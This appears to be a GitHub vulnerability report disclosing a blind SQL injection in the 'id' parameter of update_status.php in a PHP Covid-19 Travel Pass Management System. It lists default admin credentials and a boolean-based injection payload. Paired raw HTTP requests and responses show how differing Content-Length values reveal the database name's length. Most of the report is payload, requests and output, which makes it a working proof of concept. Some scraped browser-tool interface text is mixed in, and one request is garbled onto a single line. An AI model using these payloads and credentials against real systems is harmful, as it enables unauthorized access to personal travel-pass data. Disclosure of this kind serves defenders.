

main

...

bug_report / vendors / oretnom23 / covid-19-travel-pass-management-system / SQLi-3.md



debug601 Create SQLi-3.md

History

1 contributor

38 lines (25 sloc) | 1.55 KB

...

Covid-19 Travel Pass Management System v1.0 by oretnom23 has SQL injection

Author: k0xx

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15308/covid-19-travel-pass-management-system-phpoop-free-source-code.html>

Vulnerability File: /ctpms/admin/individuals/update_status.php?id=

Vulnerability location: /ctpms/admin/individuals/update_status.php?id=,id

[+] Payload: /ctpms/admin/individuals/update_status.php?id=2%27%20and%20length(database())%20=8--+ // Leak place ---> id

Current database name: ctpms_db,length is 8

```
GET /ctpms/admin/individuals/update_status.php?id=2%27%20and%20length(database())%20=8--+&Host: 192.168.1.19&User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0&Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=sbd29ujtf9eelnf4f6rlt8ikfi
Connection: close

When length (database ()) = 7, Content-Length: 1819

GET /ctpms/admin/individuals/update_status.php?id=2%27%20and%20length(database())=7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=sbd29ujtf9eelnf4f6rlt8ikfi
Connection: close

HTTP/1.1 200 OK
Date: Fri, 06 May 2022 06:53:33 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 1819
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
<form action="" id="individual-form">
<input type="hidden" name="id" value="">
<div class="form-group">
<label for="status" class="control-label">Status</label>
<input type="text" value="">
</div>
</div>
</form>
</div>

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCR

Load URL 192.168.1.19/ctpms/admin/individuals/update_status.php?id=2' and length(database()) = 7--+

Split URL

Execute

Post data Referrer 0xHEX %URL BASE64 Insert string to replace

Status Pending


When length (database ()) = 8, Content-Length: 1828


GET /ctpms/admin/individuals/update_status.php?id=2%27%20and%20length(database())=8--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=sbd29ujtf9eelnf4f6rlt8ikfi
Connection: close


HTTP/1.1 200 OK
Date: Fri, 06 May 2022 06:53:06 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 1828
Connection: close
Content-Type: text/html; charset=UTF-8





<div class="container-fluid">
<form action="" id="individual-form">
<input type="hidden" name="id" value="2">
<div class="form-group">
<label for="status" class="control-label">Status</label>
<input type="text" value="">
</div>
</div>
</form>
</div>

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING I

 Load URL

 Split URL

 Execute

☐ Post data ☐ Referrer  0xHEX  %URL  BASE64  Insert str

Status Verified ▼